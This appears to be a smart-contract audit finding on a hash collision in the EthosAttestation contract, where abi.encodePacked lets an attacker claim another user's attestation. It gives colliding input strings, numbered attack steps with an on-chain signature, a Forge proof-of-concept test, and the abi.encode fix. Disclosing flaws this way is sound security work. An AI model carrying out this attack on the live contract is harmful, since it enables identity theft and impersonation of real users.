Puny Obsidian Beaver
Medium
An attacker can claim an attestation of another user in Ethos cause of a hash collision in the function getServiceAndAccountHash
, i.e essentially attestation hijacking
The EthosAttestation contract uses an unsafe implementation of string concatenation with abi.encodePacked
to generate unique hashes for attestations. Due to how abi.encodePacked
handles dynamic types, it's possible to create hash collisions that allow attackers to claim legitimate attestations belonging to other users.
Lack of hash collision check in EthosAttestation#L435
The vulnerability stems from the getServiceAndAccountHash()
function which uses abi.encodePacked
to concatenate two dynamic string parameters before hashing.
When abi.encodePacked()
is used with multiple variable-length arguments (such as strings), the packed encoding does not include information about the boundaries between different arguments. This can lead to situations where different combinations of arguments result in the same encoded output, causing hash collisions, e.g.
keccak256(abi.encodePacked("discor", "duser123"))
produces the same output as
keccak256(abi.encodePacked("discord", "user123"))
See the Solidity documentation
- The attacker must have a valid Ethos profile
- The protocol must have signed at least one valid attestation
- Attacker identifies a target attestation (e.g., service="x.com", account="1468371243573604352") as seen here
- Attacker finds a colliding combination (e.g., service="x.c", account="om1468371243573604352")
- Attacker obtains a valid signature from the same transaction onchain for their colliding combination, i.e signature here is
0x7632f2c5325935ae9fd14fa080c5cdca213b91acb29523b361d9b25c6971bf917b33934829d3bb46ccd77ad258384d6f1351a36cf8cc6d7ef82a5d26a4ffad341c
- Attacker calls
createAttestation()
with their colliding values. The attacker can even leverage issue#1 to pass thevalidateAndSaveSignature
function. - Due to the hash collision in L#435, the new attestation from the attacker passes.
Provided the attacker has a valid profile, a colliding
attestationHash
(this vuln) andevidence
(can be obtained onchain), the_claimAttestation
smoothly passes without errors. - This allows the attacker to claim the attestation of another targeted Ethos user, i.e in this case, it was one with profile id 996
- Unauthorized claiming of legitimate attestations from users leading to identity theft/impersonation
// FORGE TEST
function testHashCollisionAttack() public {
// Setup - Create victim's attestation
string memory victimService = "x.com";
string memory victimAccount = "1468371243573604352";
bytes32 victimHash = getServiceAndAccountHash(victimService, victimAccount);
// Create victim attestation
createAttestation(
victimProfileId,
randomValue,
AttestationDetails({
service: victimService,
account: victimAccount
}),
"https://x.com/nesfatin/status/1851398888617345344",
validSignature
);
// Attacker finds collision
string memory attackerService = "x.c";
string memory attackerAccount = "om1468371243573604352";
bytes32 attackerHash = getServiceAndAccountHash(attackerService, attackerAccount);
// Verify collision
assertEq(victimHash, attackerHash);
// Attacker claims attestation
createAttestation(
attackerProfileId,
randomValue,
AttestationDetails({
service: attackerService,
account: attackerAccount
}),
"https://x.com/nesfatin/status/1851398888617345344",
validSignature
);
}
Replace abi.encodePacked
with abi.encode
to prevent hash collisions